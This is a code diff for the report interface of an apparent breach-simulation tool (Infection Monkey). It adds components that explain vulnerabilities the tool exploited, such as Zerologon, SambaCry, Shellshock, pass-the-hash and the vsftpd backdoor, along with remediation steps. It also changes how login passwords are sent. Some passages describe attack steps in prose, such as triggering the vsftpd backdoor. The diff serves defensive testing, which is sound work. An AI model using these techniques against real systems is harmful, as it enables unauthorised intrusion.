+
+export function ms08_067IssueReport(issue) {
+ return (
+ <>
+ Install the latest Windows updates or upgrade to a newer operating system.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a Conficker attack.
+
+ The attack was made possible because the target machine used an outdated and unpatched operating system
+ vulnerable to Conficker.
+
+ >
+ );
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js
new file mode 100644
index 000000000..e8e1bb162
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MssqlIssue.js
@@ -0,0 +1,24 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function mssqlIssueOverview() {
+ return (MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command. )
+}
+
+export function mssqlIssueReport(issue) {
+ return (
+ <>
+ Disable the xp_cmdshell option.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a MSSQL exploit attack .
+
+ The attack was made possible because the target machine used an outdated MSSQL server configuration allowing
+ the usage of the xp_cmdshell command. To learn more about how to disable this feature, read
+ Microsoft's documentation.
+
+ >
+ );
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js
new file mode 100644
index 000000000..73589715b
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/PthCriticalServiceIssue.js
@@ -0,0 +1,6 @@
+import React from 'react';
+
+export function pthCriticalServiceIssueOverview() {
+ return (Mimikatz found login credentials of a user who has admin access to a server defined as
+ critical. )
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js
new file mode 100644
index 000000000..05bcb6850
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SambacryIssue.js
@@ -0,0 +1,28 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function sambacryIssueOverview() {
+ return (Samba servers are vulnerable to ‘SambaCry’ (CVE-2017-7494 ). )
+}
+
+export function sambacryIssueReport(issue) {
+ return (
+ <>
+ Change {issue.username} 's password to a complex one-use password
+ that is not shared with other computers on the network.
+
+ Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SambaCry attack.
+
+ The Monkey authenticated over the SMB protocol with user {issue.username} and its password, and used the SambaCry
+ vulnerability.
+
+ >
+ );
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js
new file mode 100644
index 000000000..5d114a520
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SharedPasswordsIssue.js
@@ -0,0 +1,51 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+import {generateInfoBadges} from './utils';
+
+export function sharedPasswordsIssueOverview() {
+ return (Multiple users have the same password )
+}
+
+export function sharedAdminsDomainIssueOverview() {
+ return (Shared local administrator account - Different machines have the same account as a local
+ administrator. )
+}
+
+export function sharedCredsDomainIssueReport(issue) {
+ return (
+ <>
+ Some domain users are sharing passwords, this should be fixed by changing passwords.
+
+ These users are sharing access password:
+ {generateInfoBadges(issue.shared_with)}.
+
+ >
+ );
+ }
+
+export function sharedCredsIssueReport(issue) {
+ return (
+ <>
+ Some users are sharing passwords, this should be fixed by changing passwords.
+
+ These users are sharing access password:
+ {generateInfoBadges(issue.shared_with)}.
+
+ >
+ );
+ }
+
+export function sharedLocalAdminsIssueReport(issue) {
+ return (
+ <>
+ Make sure the right administrator accounts are managing the right machines, and that there isn’t an
+ unintentional local
+ admin sharing.
+
+ Here is a list of machines which the account {issue.username} is defined as an administrator:
+ {generateInfoBadges(issue.shared_machines)}
+
+ >
+ );
+ }
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js
new file mode 100644
index 000000000..b2496fb21
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js
@@ -0,0 +1,30 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function shellShockIssueOverview() {
+ return (Machines are vulnerable to ‘Shellshock’ (CVE-2014-6271 ).
+ )
+}
+
+
+function getShellshockPathListBadges(paths) {
+ return paths.map(path => {path} );
+}
+
+export function shellShockIssueReport(issue) {
+ return (
+ <>
+ Update your Bash to a ShellShock-patched version.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a ShellShock attack.
+
+ The attack was made possible because the HTTP server running on TCP port {issue.port} was vulnerable to a shell injection attack on the
+ paths: {getShellshockPathListBadges(issue.paths)}.
+
+ >
+ );
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js
new file mode 100644
index 000000000..66e2117ff
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SmbIssue.js
@@ -0,0 +1,36 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function smbPasswordReport(issue) {
+ return (
+ <>
+ Change {issue.username} 's password to a complex one-use password
+ that is not shared with other computers on the network.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SMB attack.
+
+ The Monkey authenticated over the SMB protocol with user {issue.username} and its password.
+
+ >
+ );
+}
+
+export function smbPthReport(issue) {
+ return (
+ <>
+ Change {issue.username} 's password to a complex one-use password
+ that is not shared with other computers on the network.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SMB attack.
+
+ The Monkey used a pass-the-hash attack over SMB protocol with user {issue.username} .
+
+ >
+ );
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js
new file mode 100644
index 000000000..cb74018d8
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/SshIssue.js
@@ -0,0 +1,39 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function sshIssueOverview() {
+ return (Stolen SSH keys are used to exploit other machines. )
+}
+
+export function shhIssueReport(issue) {
+ return (
+ <>
+ Change {issue.username} 's password to a complex one-use password
+ that is not shared with other computers on the network.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SSH attack.
+
+ The Monkey authenticated over the SSH protocol with user {issue.username} and its password.
+
+ >
+ );
+}
+
+export function sshKeysReport(issue) {
+ return (
+ <>
+ Protect {issue.ssh_key} private key with a pass phrase.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SSH attack.
+
+ The Monkey authenticated over the SSH protocol with private key {issue.ssh_key} .
+
+ >
+ );
+ }
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js
new file mode 100644
index 000000000..a0b0c037b
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StolenCredsIssue.js
@@ -0,0 +1,5 @@
+import React from 'react';
+
+export function stolenCredsIssueOverview() {
+ return (Stolen credentials are used to exploit other machines. )
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js
new file mode 100644
index 000000000..328207710
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/StrongUsersOnCritIssue.js
@@ -0,0 +1,16 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function strongUsersOnCritIssueReport(issue) {
+ return (
+ <>
+ This critical machine is open to attacks via strong users with access to it.
+
+ The services: {this.generateInfoBadges(issue.services)} have been found on the machine
+ thus classifying it as a critical machine.
+ These users has access to it:
+ {this.generateInfoBadges(issue.threatening_users)}.
+
+ >
+ );
+ }
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js
new file mode 100644
index 000000000..ca4c2b2b9
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js
@@ -0,0 +1,26 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function struts2IssueOverview() {
+ return (Struts2 servers are vulnerable to remote code execution. (
+ CVE-2017-5638 ) )
+}
+
+export function struts2IssueReport(issue) {
+ return (
+ <>
+ Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.
+
+ Struts2 server at {issue.machine} ({issue.ip_address} ) is vulnerable to remote code execution attack.
+
+ The attack was made possible because the server is using an old version of Jakarta based file upload
+ Multipart parser. For possible work-arounds and more info read here .
+
+ >
+ );
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js
new file mode 100644
index 000000000..c4d52751a
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/TunnelIssue.js
@@ -0,0 +1,19 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function tunnelIssueOverview(){
+ return (Weak segmentation - Machines were able to communicate over unused ports. )
+}
+
+export function tunnelIssueReport(issue) {
+ return (
+ <>
+ Use micro-segmentation policies to disable communication other than the required.
+
+ Machines are not locked down at port level. Network tunnel was set up from {issue.machine} to {issue.dest} .
+
+ >
+ );
+ }
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js
new file mode 100644
index 000000000..e5419a9c2
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/VsftpdIssue.js
@@ -0,0 +1,36 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function vsftpdIssueOverview() {
+ return (VSFTPD is vulnerable to CVE-2011-2523 .
+ )
+}
+
+export function vsftpdIssueReport(issue) {
+ return (
+ <>
+ Update your VSFTPD server to the latest version vsftpd-3.0.3.
+
+ The machine {issue.machine} ({issue.ip_address} ) has a backdoor running at
+ port 6200 .
+
+ The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
+ In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been
+ compromised.
+ Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a
+ command
+ shell on port 6200.
+
+ The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the
+ backdoor
+ at port 6200.
+ Read more about the security issue and remediation here .
+
+ >
+ );
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js
new file mode 100644
index 000000000..ee3c6c04f
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WeakPasswordIssue.js
@@ -0,0 +1,6 @@
+import React from 'react';
+
+export function weakPasswordIssueOverview() {
+ return (Machines are accessible using passwords supplied by the user during the Monkey’s
+ configuration. )
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js
new file mode 100644
index 000000000..e7678c448
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js
@@ -0,0 +1,23 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function webLogicIssueOverview() {
+ return (Oracle WebLogic servers are susceptible to a remote code execution vulnerability. )
+}
+
+export function webLogicIssueReport(issue) {
+ return (
+ <>
+ Update Oracle WebLogic server to the latest supported version.
+
+ Oracle WebLogic server at {issue.machine} ({issue.ip_address} ) is vulnerable to one of remote code execution attacks.
+
+ The attack was made possible due to one of the following vulnerabilities:
+ CVE-2017-10271 or
+ CVE-2019-2725
+
+ >
+ );
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js
new file mode 100644
index 000000000..cce631274
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WmiIssue.js
@@ -0,0 +1,36 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function wmiPasswordIssueReport(issue) {
+ return (
+ <>
+ Change {issue.username} 's password to a complex one-use password
+ that is not shared with other computers on the network.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a WMI attack.
+
+ The Monkey authenticated over the WMI protocol with user {issue.username} and its password.
+
+ >
+ );
+ }
+
+export function wmiPthIssueReport(issue) {
+ return (
+ <>
+ Change {issue.username} 's password to a complex one-use password
+ that is not shared with other computers on the network.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a WMI attack.
+
+ The Monkey used a pass-the-hash attack over WMI protocol with user {issue.username} .
+
+ >
+ );
+ }
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js
new file mode 100644
index 000000000..771aecf6c
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ZerologonIssue.js
@@ -0,0 +1,64 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+import WarningIcon from '../../../ui-components/WarningIcon';
+import {Button} from 'react-bootstrap';
+
+export function zerologonIssueOverview() {
+ return (
+
+ Some Windows domain controllers are vulnerable to 'Zerologon' (
+
+ CVE-2020-1472
+ ).
+
+ )
+}
+
+export function zerologonOverviewWithFailedPassResetWarning() {
+ let overview = [zerologonIssueOverview()];
+ overview.push(
+
+
+
+ Automatic password restoration on a domain controller failed!
+
+ Restore your domain controller's password manually.
+
+
+
+ )
+ return overview;
+}
+
+export function zerologonIssueReport(issue) {
+ return (
+ <>
+ Install Windows security updates.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a Zerologon exploit .
+
+ The attack was possible because the latest security updates from Microsoft
+ have not been applied to this machine. For more information about this
+ vulnerability, read
+ Microsoft's documentation.
+ {!issue.password_restored ?
+
+
+
+ The domain controller's password was changed during the exploit and could not be restored successfully.
+ Instructions on how to manually reset the domain controller's password can be found here .
+
+
: null}
+
+ >
+ );
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/utils.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/utils.js
new file mode 100644
index 000000000..6bc891201
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/utils.js
@@ -0,0 +1,6 @@
+import React from 'react';
+
+export function generateInfoBadges(data_array) {
+ return data_array.map(badge_data => {badge_data} );
+ }
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
index 6b1d22f6f..1296c3086 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
@@ -12,7 +12,7 @@ const columns = [
columns: [
{
Header: 'Status', id: 'status',
- accessor: x => {
+ accessor: function getAccessor (x) {
return ;
},
maxWidth: MAX_WIDTH_STATUS_COLUMN
@@ -24,7 +24,7 @@ const columns = [
{
Header: 'Monkey Tests', id: 'tests',
style: {'whiteSpace': 'unset'}, // This enables word wrap
- accessor: x => {
+ accessor: function getAccessor (x) {
return ;
}
}
diff --git a/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx b/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx
new file mode 100644
index 000000000..bff4565f3
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx
@@ -0,0 +1,32 @@
+export class CompletedSteps {
+ runServer: boolean
+ runMonkey: boolean
+ infectionDone: boolean
+ reportDone: boolean
+ isLoggedIn: boolean
+ needsRegistration: boolean
+
+ public constructor(runServer?: boolean,
+ runMonkey?: boolean,
+ infectinDone?: boolean,
+ reportDone?: boolean) {
+ this.runServer = runServer || false;
+ this.runMonkey = runMonkey || false;
+ this.infectionDone = infectinDone || false;
+ this.reportDone = reportDone || false;
+ }
+
+ static buildFromResponse(response: CompletedStepsRequest) {
+ return new CompletedSteps(response.run_server,
+ response.run_monkey,
+ response.infection_done,
+ response.report_done);
+ }
+}
+
+type CompletedStepsRequest = {
+ run_server: boolean,
+ run_monkey: boolean,
+ infection_done: boolean,
+ report_done: boolean
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/UploadStatusIcon.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/UploadStatusIcon.tsx
new file mode 100644
index 000000000..5db4790cb
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/ui-components/UploadStatusIcon.tsx
@@ -0,0 +1,23 @@
+import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
+import {faCheck, faTimes} from '@fortawesome/free-solid-svg-icons';
+import React from 'react';
+
+
+export const UploadStatuses = {
+ clean: 'clean',
+ success: 'success',
+ error: 'error'
+}
+
+const UploadStatusIcon = (props: { status: string }) => {
+ switch (props.status) {
+ case UploadStatuses.success:
+ return ();
+ case UploadStatuses.error:
+ return ();
+ default:
+ return null;
+ }
+}
+
+export default UploadStatusIcon;
diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js
index 52658f5a9..d7d1b9c2f 100644
--- a/monkey/monkey_island/cc/ui/src/services/AuthService.js
+++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js
@@ -1,18 +1,14 @@
-import {SHA3} from 'sha3';
import decode from 'jwt-decode';
export default class AuthService {
- // SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
- NO_AUTH_CREDS =
- '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' +
- '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557';
+ NO_AUTH_CREDS = '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()';
SECONDS_BEFORE_JWT_EXPIRES = 20;
AUTHENTICATION_API_ENDPOINT = '/api/auth';
REGISTRATION_API_ENDPOINT = '/api/registration';
login = (username, password) => {
- return this._login(username, this.hashSha3(password));
+ return this._login(username, password);
};
authFetch = (url, options) => {
@@ -25,12 +21,6 @@ export default class AuthService {
}
};
- hashSha3(text) {
- let hash = new SHA3(512);
- hash.update(text);
- return this._toHexStr(hash.digest());
- }
-
_login = (username, password) => {
return this._authFetch(this.AUTHENTICATION_API_ENDPOINT, {
method: 'POST',
@@ -51,11 +41,7 @@ export default class AuthService {
};
register = (username, password) => {
- if (password !== '') {
- return this._register(username, this.hashSha3(password));
- } else {
- return this._register(username, password);
- }
+ return this._register(username, password);
};
_register = (username, password) => {
@@ -63,7 +49,7 @@ export default class AuthService {
method: 'POST',
body: JSON.stringify({
'user': username,
- 'password_hash': password
+ 'password': password
})
}).then(res => {
if (res.status === 200) {
@@ -156,7 +142,4 @@ export default class AuthService {
return localStorage.getItem('jwt')
}
- _toHexStr(byteArr) {
- return byteArr.reduce((acc, x) => (acc + ('0' + x.toString(0x10)).slice(-2)), '');
- }
}
diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css
index 9c6e4abba..00c1320b8 100644
--- a/monkey/monkey_island/cc/ui/src/styles/App.css
+++ b/monkey/monkey_island/cc/ui/src/styles/App.css
@@ -21,7 +21,7 @@ body {
* Sidebar
*/
-@media (min-width: 768px) {
+@media (min-width: 575px) {
.sidebar {
position: fixed !important;
top: 0;
@@ -126,6 +126,15 @@ body {
}
}
+@media (max-width: 575px) {
+ .guardicore-link img {
+ height: 28px;
+ padding-left: 4px;
+ padding-right: 4px;
+ vertical-align: middle;
+ }
+}
+
/*
* Main content
*/
diff --git a/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss b/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss
index 2da5087b6..9d89a7e48 100644
--- a/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss
+++ b/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss
@@ -11,7 +11,7 @@
}
.icon-success {
- color: $success
+ color: $success;
}
.icon-failed {
@@ -26,3 +26,11 @@
transform: rotate(359deg);
}
}
+
+.upload-status-icon-success {
+ color: $success;
+}
+
+.upload-status-icon-error {
+ color: $danger;
+}
diff --git a/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss
new file mode 100644
index 000000000..78add3bb3
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ExportConfigModal.scss
@@ -0,0 +1,30 @@
+.config-export-modal .config-export-password-input p {
+ display: inline-block;
+ width: auto;
+ margin-top: 0;
+ margin-bottom: 0;
+ margin-right: 10px;
+}
+
+.config-export-modal .export-type-radio-buttons
+.password-radio-button .config-export-password-input input {
+ display: inline-block;
+ width: auto;
+ top: 0;
+ transform: none;
+}
+
+.config-export-modal .export-type-radio-buttons .password-radio-button input{
+ margin-top: 0;
+ top: 50%;
+ -ms-transform: translateY(-50%);
+ transform: translateY(-50%);
+}
+
+.config-export-modal div.config-export-plaintext p.export-warning {
+ margin-left: 20px;
+}
+
+.config-export-modal div.config-export-plaintext {
+ margin-top: 15px;
+}
diff --git a/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss
new file mode 100644
index 000000000..407e8f356
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss
@@ -0,0 +1,29 @@
+.config-import-modal .config-import-option .file-input {
+ display: inline-block;
+}
+
+.config-import-modal .config-import-option .import-error {
+ margin-top: 10px;
+}
+.config-import-modal .config-import-option .config-import-password-input {
+ margin-top: 20px;
+}
+
+.config-import-modal .config-import-option .config-import-password-input p{
+ margin-right: 5px;
+ display: inline-block;
+ width: auto;
+}
+
+.config-import-modal .config-import-option .config-import-password-input input{
+ display: inline-block;
+ width: auto;
+}
+
+.fade.modal.show.unsafe-config-options-confirmation-modal {
+ z-index: 2000;
+}
+
+.modal-backdrop.unsafe-config-options-confirmation-modal-backdrop {
+ z-index: 1900;
+}
diff --git a/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackground.scss b/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackground.scss
index 0aeec94b2..4aca4d4a8 100644
--- a/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackground.scss
+++ b/monkey/monkey_island/cc/ui/src/styles/components/particle-component/ParticleBackground.scss
@@ -1,5 +1,5 @@
.particle-background {
- position: absolute;
+ position: fixed;
top: 0;
left: 0;
z-index: -100;
diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/GettingStartedPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/GettingStartedPage.scss
new file mode 100644
index 000000000..35490caf4
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/styles/pages/GettingStartedPage.scss
@@ -0,0 +1,11 @@
+.getting-started-page h1.page-title {
+ margin-bottom: 0px;
+}
+
+#homepage-shortcuts a.d-block {
+ height: 100%;
+}
+
+#homepage-shortcuts {
+ margin-bottom: 20px;
+}
diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss
new file mode 100644
index 000000000..fe9e3657b
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss
@@ -0,0 +1,72 @@
+.landing-page {
+ background-color: rgba(255, 255, 255, 0.89);
+ position: absolute !important;
+ height: 100%;
+ bottom: 0;
+}
+
+.landing-page h1.page-title {
+ margin-top: 20px;
+ margin-bottom: 20px;
+}
+
+.landing-page h2.scenario-choice-title {
+ margin-bottom: 20px;
+ margin-left: 12px;
+}
+
+.landing-page .scenario-info {
+ margin-bottom: 20px;
+}
+
+.landing-page .monkey-description-title {
+ margin-top: 30px;
+}
+
+.landing-page .d-block {
+ height: 100%;
+}
+
+.landing-page .guardicore-logo {
+ position: absolute;
+ bottom: 10px;
+ left: 0 !important;
+}
+
+.guardicore-logo .license-text {
+ position: relative;
+}
+
+.guardicore-logo .version-text {
+ position: relative;
+}
+
+.landing-page-banner {
+ display: block;
+ background-color: #ffcc00;
+ height:200px;
+ margin-right: -15px;
+ margin-left: -15px;
+}
+
+.landing-banner-component {
+ display: block;
+ margin-left: auto;
+ margin-right: auto;
+ padding-top: 10px;
+}
+
+.landing-banner-monkey-icon {
+ max-height: 65%;
+}
+
+.landing-banner-title {
+ padding-bottom: 10px;
+ max-height: 35%;
+}
+
+.landing-page .scenario-header {
+ font-size: 1.2em;
+ margin-top: 30px;
+ margin-left: 20px;
+}
diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/RunServerPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/RunServerPage.scss
deleted file mode 100644
index e6c1a7497..000000000
--- a/monkey/monkey_island/cc/ui/src/styles/pages/RunServerPage.scss
+++ /dev/null
@@ -1,3 +0,0 @@
-#homepage-shortcuts a.d-block {
- height: 100%;
-}
diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/AttackReport.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/AttackReport.scss
index f459f2707..7423efeae 100644
--- a/monkey/monkey_island/cc/ui/src/styles/pages/report/AttackReport.scss
+++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/AttackReport.scss
@@ -39,6 +39,10 @@
color: $monkey-yellow;
}
+.attack-report .ReactTable .rt-resizable-header-content {
+ text-align: center;
+}
+
.attack-link{
padding: 0 7px 3px 7px !important;
}
diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss
new file mode 100644
index 000000000..143e3f835
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/RansomwareReport.scss
@@ -0,0 +1,24 @@
+.ransomware-report .report-section-header {
+ margin-top: 40px;
+}
+
+.numbered-report-section {
+ margin-top: 2.5em;
+ margin-bottom: 2.5em;
+}
+
+.numbered-report-section .indented {
+ padding-left: 2em;
+}
+.numbered-report-section .description {
+ display: flex
+}
+
+.numbered-report-section .alert-icon {
+ margin-top: .28em;
+ margin-right: .5em;
+}
+
+.ransomware-breach-section .ip-address {
+ display: inline-block;
+}
diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss
index 520e04e1d..90a635c2a 100644
--- a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss
+++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss
@@ -98,3 +98,7 @@ span.cross-segment-service {
.zero-logon-overview-pass-restore-failed svg {
margin: 0 10px 0 0;
}
+
+.rt-resizable-header {
+ text-align: left;
+}
diff --git a/monkey/monkey_island/cc/ui/tsconfig.json b/monkey/monkey_island/cc/ui/tsconfig.json
new file mode 100644
index 000000000..ada32ea6b
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/tsconfig.json
@@ -0,0 +1,14 @@
+{
+ "compilerOptions": {
+ "allowJs": true,
+ "sourceMap": true,
+ "module": "commonjs",
+ "target": "es6",
+ "jsx": "react",
+ "esModuleInterop": true
+ },
+ "include": [
+ "src"
+ ],
+ "compileOnSave": false
+}
diff --git a/monkey/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js
index b1d8b5218..c820b5fd5 100644
--- a/monkey/monkey_island/cc/ui/webpack.config.js
+++ b/monkey/monkey_island/cc/ui/webpack.config.js
@@ -4,6 +4,13 @@ const HtmlWebPackPlugin = require("html-webpack-plugin");
module.exports = {
module: {
rules: [
+ { test: /\.tsx?$/,
+ loader: "ts-loader"
+ },
+ {
+ test: /\.js$/,
+ loader: "source-map-loader"
+ },
{
test: /\.js$/,
exclude: /node_modules/,
@@ -54,6 +61,7 @@ module.exports = {
}
]
},
+ devtool: "source-map",
plugins: [
new HtmlWebPackPlugin({
template: "./src/index.html",
@@ -61,7 +69,7 @@ module.exports = {
})
],
resolve: {
- extensions: ['.js', '.jsx', '.css'],
+ extensions: ['.ts', '.tsx', '.js', '.jsx', '.css'],
modules: [
'node_modules',
path.resolve(__dirname, 'src/')
diff --git a/monkey/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh
index 985f607bc..acdbd5b9d 100644
--- a/monkey/monkey_island/linux/create_certificate.sh
